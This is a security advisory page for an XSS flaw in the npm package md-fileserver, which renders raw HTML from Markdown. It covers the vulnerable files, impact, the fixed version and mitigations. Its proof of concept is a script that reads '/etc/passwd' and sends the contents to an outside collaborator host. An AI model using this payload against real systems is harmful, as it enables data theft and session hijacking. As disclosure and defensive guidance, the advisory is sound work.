md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)GHSA-32q2-hhr5-6qvv
HIGHGHSA-32q2-hhr5-6qvv is a high-severity (CVSS 7.2) CWE-80 vulnerability in md-fileserver. A fix is available for md-fileserver — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-32q2-hhr5-6qvv.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
md-fileservernpmDescription
Summary
A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.
Details
An attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.
Vulnerable Components
config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML.
lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.
lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.
PoC
Create a pwn.md
# Hello
<script>
fetch('/etc/passwd', { credentials: 'include' })
.then(r => r.text())
.then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));
</script>
Open it on browser. <img width="944" height="238" alt="image" src="https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac" /> View the HTTP request in Burp Collaborator. <img width="1328" height="468" alt="image" src="https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8" />
Impact
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:
- Session hijacking
- Account takeover
- Credential theft
- Defacement or injection of malicious content
- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information
This affects all users who can view Markdown content within the application.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | md-fileserver | all versions | 1.10.3npm install md-fileserver@1.10.3 |
Affected Products
md-fileservercommentholDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for md-fileserver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update md-fileserver to 1.10.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-32q2-hhr5-6qvv is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-32q2-hhr5-6qvv in your dependencies?
Find it across npm, including transitive dependencies.